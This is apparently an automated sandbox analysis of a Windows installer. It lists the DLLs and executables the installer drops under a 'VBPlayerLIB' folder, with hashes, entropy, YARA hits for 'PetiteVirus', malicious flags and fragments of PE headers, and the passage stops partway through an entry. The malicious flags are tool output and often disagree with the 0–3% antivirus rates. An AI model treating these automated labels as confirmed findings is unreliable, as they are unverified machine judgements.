SSDEEP:	12288:gAQxmcOwzIYhoz/eZz4gOIwEODAAwnq6Nql1:gvmfAI6oz/uOIyDAAwDNql1
MD5:	CE7DE939D74321A7D0E9BDF534B89AB9
SHA1:	56082B4E09A543562297E098A36AADC3338DEEC5
SHA-256:	A9DC70ABB4B59989C63B91755BA6177C491F6B4FE8D0BFBDF21A4CCF431BC939
SHA-512:	03C366506481B70E8BF6554727956E0340D27CB2853609D6210472AEDF4B3180C52AAD9152BC2CCCBA005723F5B2E3B5A19D0DCE8B8D1E0897F894A4BFEEFE55
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L..................#...".t.........................g.........................0................ ..........................................................,.......=..........................,=.......................................................text....r.......t..................`.P`.data............ ...x..............@.`..rdata..L...........................@.`@/4...................\..............@.0@.bss..................................`..edata...............`..............@.0@.idata...............j..............@.0..CRT....,............v..............@.0..tls.................x..............@.0..reloc...=.......>...z..............@.0B................................................................................................................................................................................................................................

C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-E62DC.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	197646
Entropy (8bit):	6.1570532273946625
Encrypted:	false
SSDEEP:	3072:brPGp0y4SP+iBGgySYm+dE3sYrJqkAzhU88vsAGSW+:brPGaTEsHSYmbbOU8osAGG
MD5:	2C8EC61630F8AA6AAC674E4C63F4C973
SHA1:	64E3BB9AA505C66E87FE912D4EA3054ADF6CEF76
SHA-256:	DFD55D0DDD1A7D081FCE8E552DC29706A84DC6CA2FDD2F82D63F33D74E882849
SHA-512:	488378012FB5F477ED4636C37D7A883B1DAD0FBC671D238B577A9374EFE40AB781F5E483AE921F1909A9B7C1C2A3E78E29B533D3B6FFE15AAEE840CAD2DCF5D0
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L..................#...............................m................................]_........ ...................... ..A....0...............................`..............................p0.......................1..D............................text...............................`.P`.data...............................@.0..rdata..L0.......2..................@.`@/4...........P......................@.0@.bss..................................`..edata..A.... ......................@.0@.idata.......0......................@.0..CRT....,....@......................@.0..tls.........P......................@.0..reloc.......`......................@.0B................................................................................................................................................................................................................................

C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-ED7G5.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	62478
Entropy (8bit):	6.063363187934607
Encrypted:	false
SSDEEP:	768:q3s6+NMpjqudP/XB9rGCWLEc6wY3U0LvDcb0wGNPdqdRJy/5f4mdajO42iySAqB:q8zNM1nBId/ce7GNP6m/5AQGySAs
MD5:	940EEBDB301CB64C7EA2E7FA0646DAA3
SHA1:	0347F029DA33C30BBF3FB067A634B49E8C89FEC2
SHA-256:	B0B56F11549CE55B4DC6F94ECBA84AEEDBA4300D92F4DC8F43C3C9EEEFCBE3C5
SHA-512:	50D455C16076C0738FB1FECAE7705E2C9757DF5961D74B7155D7DFB3FAB671F964C73F919CC749D100F6A90A3454BFF0D15ED245A7D26ABCAA5E0FDE3DC958FD
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L..................#...............................k.........................`................ .........................r.......D............................P..\|.......................................................\............................text...............................`.P`.data...0...........................@.0..rdata..8...........................@.`@/4......L...........................@.0@.bss..................................`..edata..r...........................@.0@.idata..D...........................@.0..CRT....,....0......................@.0..tls.........@......................@.0..reloc..\|....P......................@.0B................................................................................................................................................................................................................................

C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-EPDGC.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	19008
Entropy (8bit):	7.672481244971812
Encrypted:	false
SSDEEP:	384:dz7otnjFa4ECX3yeGjA+tSXGnUav92hca+XWRlsuG+is:po7GU+szS3W7sQ7
MD5:	8EE91149989D50DFCF9DAD00DF87C9B0
SHA1:	E5581E6C1334A78E493539F8EA1CE585C9FFAF89
SHA-256:	3030E22F4A854E11A8AA2128991E4867CA1DF33BC7B9AFF76A5E6DEEF56927F6
SHA-512:	FA04E8524DA444DD91E4BD682CC9ADEE445259E0C6190A7DEF82B8C4478A78AAA8049337079AD01F7984DBA28316D72445A0F0D876F268A062AD9B8FF2A6E58D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...................................D.... ..PE..L....+vS...........!....6...6.......6........p......................................................................0..........P.......@...................tM.......................................................................................................>..................`....rsrc...........@....H..............@..@....................................@...........6...........................`.......................................D...n'......j...f.!.PRj.....j..S.ERROR!.Corrupt Data!......f.`P....h.5..j..P..C.h.....<$.3f....t...;S.^......Vj.PWj.j.Vj.PW....Y.Yf..X........X............f.......Z...t..$.4..l$..m..J...R...z.....XXXXZt.D$....P(......P...s.j.h`...h`.....j.h....h....j.3.3.0_.K~..[...s.3..^......s...$A."...L$..<.........;D$....;D$......$. ............u...........V+.48.^...u.........A............r..I..K..........(...\|...}K...................E..K....p..j...g........Q..........y...........

C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-F0J9D.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	36416
Entropy (8bit):	7.842278356440954
Encrypted:	false
SSDEEP:	768:lshkyPXvH6bPACtmb8boNQdVfCXewki/OvXEApOqmFfSq1oIQMW:lsh3n5Pb8boOdVCuwNEXEAonfSq1JQb
MD5:	BEBA64522AA8265751187E38D1FC0653
SHA1:	63FFB566AA7B2242FCC91A67E0EDA940C4596E8E
SHA-256:	8C58BC6C89772D0CD72C61E6CF982A3F51DEE9AAC946E076A0273CD3AAF3BE9D
SHA-512:	13214E191C6D94DB914835577C048ADF2240C7335C0A2C2274C096114B7B75CD2CE13A76316963CCD55EE371631998FAC678FCF82AE2AE178B7813B2C35C6651
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...................................D.... ..PE..L....}.Q...........!................6 ............`..........................0......................................d#.......!..........@...................t...........................................................................................................................`....rsrc...........@...................@..@....................................@................ ......................`.......................................X...{.......j...f.!.PRj.....j..S.ERROR!.Corrupt Data!... c.f.`P....h.p..j..P..C.h..`..<$.3f....t...;S.^......Vj.PWj.j.Vj.PW....Y.Yf..X........X....................Z...t..$.4..l$..m..J...R...z.....XXXXZt.D$....P(......P...s.j.h`...h`.....j.h....h....j.3.3.0_.K~..[...s.3..^......s...$A."...L$..<.........;D$....;D$......$. ............u...........V+.48.^...u.........A............r..I.....................]...............'..................................A...%...........

C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-G9603.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	17472
Entropy (8bit):	7.524548435291935
Encrypted:	false
SSDEEP:	384:IwwsQD13cT5HhSVeEQNW5kbbcGEh/qTio+lyTnGy:QRD13ySVeEOW5kbSSTHNTnr
MD5:	7B52BE6D702AA590DB57A0E135F81C45
SHA1:	518FB84C77E547DD73C335D2090A35537111F837
SHA-256:	9B5A8B323D2D1209A5696EAF521669886F028CE1ECDBB49D1610C09A22746330
SHA-512:	79C1959A689BDC29B63CA771F7E1AB6FF960552CADF0644A7C25C31775FE3458884821A0130B1BAB425C3B41F1C680D4776DD5311CE3939775A39143C873A6FE
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...................................D.... ..PE..L....^.L...........!....%v..%.......6........`......................................................................h..................@....................F...............................................................................................p.......8..................`....rsrc...........@....B..............@..@....................................@...........%...........................`.......................................X...x..0....j...f.!.PRj.....j..S.ERROR!.Corrupt Data!......f.`P....h.,..j..P..C.h.....<$.3f....t...;S.^......Vj.PWj.j.Vj.PW....Y.Yf..X........X....................Z...t..$.4..l$..m..J...R...z.....XXXXZt.D$....P(......P...s.j.h`...h`.....j.h....h....j.3.3.0_.K~..[...s.3..^......s...$A."...L$..<.........;D$....;D$......$. ............u...........V+.48.^...u.........A............r..I..D..%...........\|...CC.......p......n....<.......`..............lH......)...............

C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-H05O1.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp
File Type:	PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	562190
Entropy (8bit):	6.388293171196564
Encrypted:	false
SSDEEP:	12288:uCtwsqIfrUmUBrusLdVAjA1ATAtuQ8T2Q8TOksqHOuCHWoEuEc4XEmEVEEAcIHAj:uqiIoYmOuNNQ1zU/xGl
MD5:	713D04E7396D3A4EFF6BF8BA8B9CB2CD
SHA1:	D824F373C219B33988CFA3D4A53E7C2BFA096870
SHA-256:	00FB8E819FFDD2C246F0E6C8C3767A08E704812C6443C8D657DFB388AEB27CF9
SHA-512:	30311238EF1EE3B97DF92084323A54764D79DED62BFEB12757F4C14F709EB2DBDF6625C260FB47DA2D600E015750394AA914FC0CC40978BA494D860710F9DC40
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....Rd...............(..........................@.......................................@... .................................H...........................................................D...........................l............................text...T...........................`..`.data...X...........................@....rdata..H...........................@..@/4......P...........................@..@.bss....t................................idata..H............d..............@....CRT....0............n..............@....tls.................p..............@....rsrc................r..............@....reloc...............x..............@..B................................................................................................................................................................................................................................

C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-HDCA4.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	127669
Entropy (8bit):	7.952352167575405
Encrypted:	false
SSDEEP:	3072:kdGUCKL7Wn/OzU2ThapTv773+HMnBasgGlBM:dn/mU8K/3EgNgoM
MD5:	75C1D7A3BDF1A309C540B998901A35A7
SHA1:	B06FEEAC73D496C435C66B9B7FF7514CBE768D84
SHA-256:	6303F205127C3B16D9CF1BDF4617C96109A03C5F2669341FBC0E1D37CD776B29
SHA-512:	8D2BBB7A7AD34529117C8D5A122F4DAF38EA684AACD09D5AD0051FA41264F91FD5D86679A57913E5ADA917F94A5EF693C39EBD8B465D7E69EF5D53EF941AD2EE
Malicious:	false
Yara Hits:	Rule: JoeSecurity_PetiteVirus, Description: Yara detected Petite Virus, Source: C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-HDCA4.tmp, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Preview:	MZ......................@...................................D.... ..PE..L....O?\...........!.................`.......................................p............@..........................b.......a.......0..@...........................................................................<b..H.................................... ..........................@..@.rsrc........0......................@..@......... ...@.........................@petite.......`......................`..`..........................................fE...nj.:<...n...1..}..r..". .S(...#!............7..5.Q..0..}.. .....^y...U...@..3.........&.lp(.pt.a......!..`@C.O3G7..."\..w.1u.$4..1h...M...K6.L...L..~.w...b2x-.......9k".....".V\............o..................qO&.......4(."0.Zy....2..Y..Z..:2.XM..D....a&..&.L,......./+......c<...^.2.x0..H.618....Q.Q.5.%...Z1.I.......a...q-}.0..D....o.!.....O.......B....# O.!....cY5.#...n.`..1...r!.)].:...m.f.....x....N"t.j..l.....:/...,.v........8F.N...X..j.R......"...&...

C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-HVAMB.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	11532
Entropy (8bit):	7.219753259626605
Encrypted:	false
SSDEEP:	192:Dqv1jf+0vAe7Dl+JTGxuK5Rbfh70Il9MWbzq6UWkE0FGemexbiJi8TK0Q2:m9KIAeNgTGxu2Jfh1DMSzqKkvFGLJi85
MD5:	073F34B193F0831B3DD86313D74F1D2A
SHA1:	3DF5592532619C5D9B93B04AC8DBCEC062C6DD09
SHA-256:	C5EEC9CD18A344227374F2BC1A0D2CE2F1797CFFD404A0A28CF85439D15941E9
SHA-512:	EEFD583D1F213E5A5607C2CFBAED39E07AEC270B184E61A1BA0B5EF67ED7AC5518B5C77345CA9BD4F39D2C86FCD261021568ED14945E7A7541ADF78E18E64B0C
Malicious:	false
Yara Hits:	Rule: JoeSecurity_PetiteVirus, Description: Yara detected Petite Virus, Source: C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-HVAMB.tmp, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Preview:	MZ......................@...................................D.... ..PE..L.....V...........!.........(...............P............................................@.........................P...........d....p..8...................82.........................................................8....................................`.......$..................@..@.rsrc........p.......&..............@..@.......................................@petite.............................`..`....................................#..L....y......"......O/..M...C.A.&:.e.i..l....CP...g.AK..S;.lf.?.g....].k.U.G.Y.J.",......%....:ge.D x.P }}..Tih.g......%G.Iy.j...\...S...s..$..........o..y..........,.........-..X.....v.M1..'...5R.4..8k!..q.=BVST<..M.E.._T.p...K.r....C.HEO....\..%%,I....>'.L.ct..{..I..l.Y#f Tk...:bH?.....G..Y.p..Q.....z/R.h>8....]S.....p.c/.m..6tc.d..(..{...=w4.w.^..d.....^..Tp.....Z..).Z."...&.-...o...xD+0.L+!...X.%?)+.P..Z.......P..F..P.".._.%9.^T;(..Y.>.. .....re

C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-J82TT.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	967168
Entropy (8bit):	6.500850562754145
Encrypted:	false
SSDEEP:	12288:j2ezAN6FpYQSzclODziLQEkkDHFb1aWGssVvVmPUwV+SiRm7rhj:jhAgFptPlqmPDHJ1apVdYUy+jRmX
MD5:	C06D6F4DABD9E8BBDECFC5D61B43A8A9
SHA1:	16D9F4F035835AFE8F694AE5529F95E4C3C78526
SHA-256:	665D47597146DDAAA44B771787B750D3CD82C5B5C0B33CA38F093F298326C9BB
SHA-512:	B0EBE9E2682A603C34F2B884121FA5D2D87ED3891990CCD91CD14005B28FE208A3B86FA20E182F9E7FC5142A267C8225AEFDCB23CF5B7556D2CF8F9E3BDE62D4
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......V.~..m...m...m......m.....m......m.......m..)3...m..)3...m..)3...m.......m...m..rm...m..m..3...m..3...m..3...m..Rich.m..........................PE..L...8..^...........!.........&.......`....................................................@..........................4.......G..<...............................HR..P+..T............................+..@...............D............................text............................... ..`.rdata..............................@..@.data........P...$...D..............@....trace.......`.......h..............@..@.gfids...............~..............@..@_RDATA..@...........................@..@.debug_o............................@..B.rsrc................l..............@..@.reloc..HR.......T...n..............@..B................................................................................................................

C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-JFGB9.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	68876
Entropy (8bit):	7.922125376804506
Encrypted:	false
SSDEEP:	1536:q0Z4sz1ZMjCjDIhoLffiedENahBzzxO/JfgmYFGKEvi8TxCI+vHVl:v4MzMjGkhoLfsahS/JYN2vUl
MD5:	4E35BA785CD3B37A3702E577510F39E3
SHA1:	A2FD74A68BEFF732E5F3CB0835713AEA8D639902
SHA-256:	0AFE688B6FCA94C69780F454BE65E12D616C6E6376E80C5B3835E3FA6DE3EB8A
SHA-512:	1B839AF5B4049A20D9B8A0779FE943A4238C8FBFBF306BC6D3A27AF45C76F6C56B57B2EC8F087F7034D89B5B139E53A626A8D7316BE1374EAC28B06D23E7995D
Malicious:	false
Yara Hits:	Rule: JoeSecurity_PetiteVirus, Description: Yara detected Petite Virus, Source: C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-JFGB9.tmp, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Preview:	MZ......................@...................................D.... ..PE..L.....U]...........!......................... ............................................@.........................P...........d.......@...............................................................................8...............................................................@..@.rsrc...............................@..@.......................................@petite..............................`..`...........................................&MK#H..OEJ..}??...:..$ayf.r7.w(/.d`...A(7.%p.f.>\..d."..W......[4.0..ZY..... .....~...T....9a+..'.......g!.....l...<..?Y.(..[k.I=....D.....c..=.?.8...D>0...#.ZdO..Z...%......X.P..bS..s..=$...m.N........A......A4..J>Wa.N..K.>....2n8.ii.#....y#.J ....i!...a7..Pbl@B.%h0..8RSr.........]..z.\...x..e..5.3.$h. <G.3....-......Q....O0..,......Y}......@...<...t.H).T..! .....ap......Tj.o...0b...`..yX.. g...hzA...b.7.s$M.... ..'....\$...H.\.l.C g..4..(.6@.Q....B(..

C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-JG7OO.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	68042
Entropy (8bit):	6.090396152400884
Encrypted:	false
SSDEEP:	768:RX3HAdi7wgCsL6dVSngk2IFm3ZJVRDBLRROBBKRzPm3YRiF+ixh:NHQpe6SnZQLjICPm3Ytib
MD5:	5DDA5D34AC6AA5691031FD4241538C82
SHA1:	22788C2EBE5D50FF36345EA0CB16035FABAB8A6C
SHA-256:	DE1A9DD251E29718176F675455592BC1904086B9235A89E6263A3085DDDCBB63
SHA-512:	08385DE11A0943A6F05AC3F8F1E309E1799D28EA50BF1CA6CEB01E128C0CD7518A64E55E8B56A4B8EF9DB3ECD2DE33D39779DCA1FBF21DE735E489A09159A1FD
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...........V......#...&...........................d......................................@... ..............................0..t....`..P....................p.......................................................1..H............................text...d...........................`..`.data...L...........................@....rdata..\...........................@..@/4.......2.......4..................@..@.bss.....................................edata..............................@..@.idata..t....0......................@....CRT....0....@......................@....tls.........P......................@....rsrc...P....`......................@....reloc.......p......................@..B........................................................................................................................................................................................

C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-JORN1.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	258560
Entropy (8bit):	6.491223412910377
Encrypted:	false
SSDEEP:	6144:X+FRYMGwNozw5upAagZnb80OXrGSc+w9nI7ZMcyVhk233M:SGMGbw5upAagZb80SMXzkgM
MD5:	DB191B89F4D015B1B9AEE99AC78A7E65
SHA1:	8DAC370768E7480481300DD5EBF8BA9CE36E11E3
SHA-256:	38A75F86DB58EB8D2A7C0213861860A64833C78F59EFF19141FFD6C3B6E28835
SHA-512:	A27E26962B43BA84A5A82238556D06672DCF17931F866D24E6E8DCE88F7B30E80BA38B071943B407A7F150A57CF1DA13D2137C235B902405BEDBE229B6D03784
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......B.j..f...f...f..]....f..]...f..]....f......f......f......f......f..]....f...f..]f......f......f......f...f...f......f..Rich.f..........PE..L...y.._...........!................@........ ...............................@..........................................d...$...(.......h.................... ......................................(...@............ ..8............................text...q........................... ..`asmcode.>$.......&.................. ..`.rdata..B.... ......................@..@.data...............................@....rsrc...h...........................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................

C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-KNVFD.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	35588
Entropy (8bit):	7.817557274117395
Encrypted:	false
SSDEEP:	768:dCrMZHv56WRldhmLjQDrbfc8cznHvc6modHQ:sAR0LzHvc6m2HQ
MD5:	58521D1AC2C588B85642354F6C0C7812
SHA1:	5912D2507F78C18D5DC567B2FA8D5AE305345972
SHA-256:	452EEE1E4EF2FE2E00060113CCE206E90986E2807BB966019AC4E9DEB303A9BD
SHA-512:	3988B61F6B633718DE36C0669101E438E70A17E3962A5C3A519BDECC3942201BA9C3B3F94515898BB2F8354338BA202A801B22129FC6D56598103B13364748C1
Malicious:	false
Yara Hits:	Rule: JoeSecurity_PetiteVirus, Description: Yara detected Petite Virus, Source: C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-KNVFD.tmp, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Preview:	MZ......................@...................................D.... ..PE..L.....yX...........!.................@.......................................P............@.........................PB.......A..d.... ..@...................P........................................................A..8...............................................................@..@.rsrc........ ......................@..@.............0.........................@petite.......@......................`..`...................................._3.....g.ge..7t...R-_.R.@c.S.\..J?L.EZ.,....=H8..;.QJ.....P-)eFs93:.^...f......}..?...e...SD.......-.u.......q2...P...6..z5.T.S..P..Q....@..Mq.>....8" F...,..FE...S.[U..c......jr....b...-%...`......w..+W.C......]..#......LS....W.Y....o.8...i.[)..%(.2.t...YY .bL.....b.@&J,?l.........$..F..&...a#.\[".^...&]co....K.>...xQzw..XW.uT..+dm.o.b...@c....3..r....@]...P........{C/.....A!.&..........'....._..."S..&..F.......:.dxtK.6...7.I...Q..Nm2.....NX..fG..L..7.?..".(

C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-KUQQ9.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	772608
Entropy (8bit):	6.546391052615969
Encrypted:	false
SSDEEP:	6144:Q75mFL0MNnM/SQdtij4UujFhGiNV1SckT3wio2L2jV6EfnQ29mwF3s4iGtInw1m8:AwN0e0lN1fnQUFccGns9ukS6
MD5:	B3B487FC3832B607A853211E8AC42CAD
SHA1:	06E32C28103D33DAD53BE06C894203F8808D38C1
SHA-256:	30BC10BD6E5B2DB1ACE93C2004E24C128D20C242063D4F0889FD3FB3E284A9E4
SHA-512:	FA6BDBA4F2A0CF4CCA40A333B69FD041D9EDC0736EDA206F17F10AF5505CC4688B0401A3CAD2D2F69392E752B8877DB593C7872BCDB133DC785A200FF38598BB
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....1.d.................D..........$].......`....@.......................................@......@...................0..o............p...(...................`...............................P......................X........ .......................text...h4.......6.................. ..`.itext.......P.......:.............. ..`.data....7...`...8...H..............@....bss....0i...............................idata..............................@....didata...... ......................@....edata..o....0......................@..@.tls.........@...........................rdata..]....P......................@..@.reloc.......`......................@..B.rsrc....(...p...(..................@..@....................................@..@................

C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-L236T.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	227328
Entropy (8bit):	6.641153481093122
Encrypted:	false
SSDEEP:	6144:jtJXnqDMJgH50aKyumLCGTrS4ifbjoO88k:KqgHlKyumLCGTrS4inoZ
MD5:	BC824DC1D1417DE0A0E47A30A51428FD
SHA1:	C909C48C625488508026C57D1ED75A4AE6A7F9DB
SHA-256:	A87AA800F996902F06C735EA44F4F1E47F03274FE714A193C9E13C5D47230FAB
SHA-512:	566B5D5DDEA920A31E0FB9E048E28EF2AC149EF075DB44542A46671380F904427AC9A6F59FBC09FE3A4FBB2994F3CAEEE65452FE55804E403CEABC091FFAF670
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...e>.a...........#.........t...V.................e.........................@......1......... .........................#....................................0...............................).......................................................text...............................`.P`.data...............................@.`..rdata..d0.......2..................@.`@.eh_framd@...@...B..................@.0@.bss.....T............................`..edata..#............T..............@.0@.idata...............^..............@.0..CRT....,............d..............@.0..tls......... .......f..............@.0..reloc.......0.......h..............@.0B................................................................................................................................................................................................................................

C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-L89CU.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	39304
Entropy (8bit):	7.819409739152795
Encrypted:	false
SSDEEP:	768:i5GGx+OZPWuGdoiwUpPLH7IN3x1eW0kIAJbfT13MMnahRlmftuohQf:i5DxDPWMApPLsNhkVkI6R3TnalauoQ
MD5:	C7A50ACE28DDE05B897E000FA398BBCE
SHA1:	33DA507B06614F890D8C8239E71D3D1372E61DAA
SHA-256:	F02979610F9BE2F267AA3260BB3DF0F79EEEB6F491A77EBBE719A44814602BCC
SHA-512:	4CD7F851C7778C99AFED492A040597356F1596BD81548C803C45565975CA6F075D61BC497FCE68C6B4FEDC1D0B5FD0D84FEAA187DC5E149F4E8E44492D999358
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....."b...........!.........x.......P.......................................`.......Z....@.........................PR.......Q..d....0..0............}......D........................................................Q..8.................................... .......t..................@..@.rsrc.... ...0.......v..............@..@petite.......P.......z..............`..`......................p..k..K..i{..\.H..'.\|w.t...\..dkB%..i.cX...`B...m.X..A.NU.i.I. J.I....x-.e2n.IA.2.:..2G5Z/.+(8w.S<...`ML........!..%+.r.s.1.~.D...]......U..q3.....9..?y.>j.E.T...Y..D..>..aJ......P^Y..w?.9w.,...+C^.[....\|..'.....7..F%..A.....)..b.)8.2Q`.v.F=.."S..{z...z-H=....L_....RM..s......H2P1a....[..i. 2..~.?...+R... .m(.I..X...H.g.Z..i..G.?.(......e.:.B......fh......gl.x.Z......I>..#....Hgv.;g.@ l.$(...0.........l.>.p..z;A.@...*4v..x.U.gU..Bqqb..6.x...D.....cIE(5m.g}J..

C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-M56K9.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	149845
Entropy (8bit):	7.893881970959476
Encrypted:	false
SSDEEP:	3072:y0z4JQHu5EvSA/JqiK2s6g+hUCQiMVQ623hi3JKz8KQP6ZwhQrNrbZ:yUju5GY7l+CCYVQ62YUzXQiqhQrJbZ
MD5:	526E02E9EB8953655EB293D8BAC59C8F
SHA1:	7CA6025602681EF6EFDEE21CD11165A4A70AA6FE
SHA-256:	E2175E48A93B2A7FA25ACC6879F3676E04A0C11BB8CDFD8D305E35FD9B5BBBB4
SHA-512:	053EB66D17E5652A12D5F7FAF03F02F35D1E18146EE38308E39838647F91517F8A9DC0B7A7748225F2F48B8F0347B0A33215D7983E85FCA55EF8679564471F0B
Malicious:	true
Yara Hits:	Rule: JoeSecurity_PetiteVirus, Description: Yara detected Petite Virus, Source: C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-M56K9.tmp, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Preview:	MZ......................@...................................D.... ..PE..L....r.[...........!....U....D............... ............................... ............@.........................P...........d............................N..........................................................8............................................@..................@..@.rsrc................B..............@..@.......................................@petite..U.......U....F..............`..`.....................................5....`K...=1.;;..s}....3500.z.<..]goR.lVO..C..j...........O......9#f.S.$1.b.D.8...VX....sb .A.%I......B.........R...Z5.............y......_W.0.!..T..nT.V..J..s.1`..V...Cb.2x0......0B...4...D.`...!.>[7..^;w'.u"W/...).P.m...P.......qF<.~1..T.>F.F.Rr.`...N....3$...w.L..P..SQP]C^.....2...%5.v...3.a`.k....q.0.o..A......k.....B..P.h.fy..jyb...<t$.%c-...<9.1#2.7./0.j.o#~...,!fuJ.M..a...(...0@.........,..t.3d"qva....fm.=.....]....s...z}-X..3................y>.!......g..E

C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-M81L8.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	115712
Entropy (8bit):	6.401537154757194
Encrypted:	false
SSDEEP:	3072:rY4gILp0Vt7BMkvfHutO+eP0ZjflQf5xqkYXeo21sb2rqG70:rY4gILp0Vt77nLBCtQfjqv8qG70
MD5:	840D631DA54C308B23590AD6366EBA77
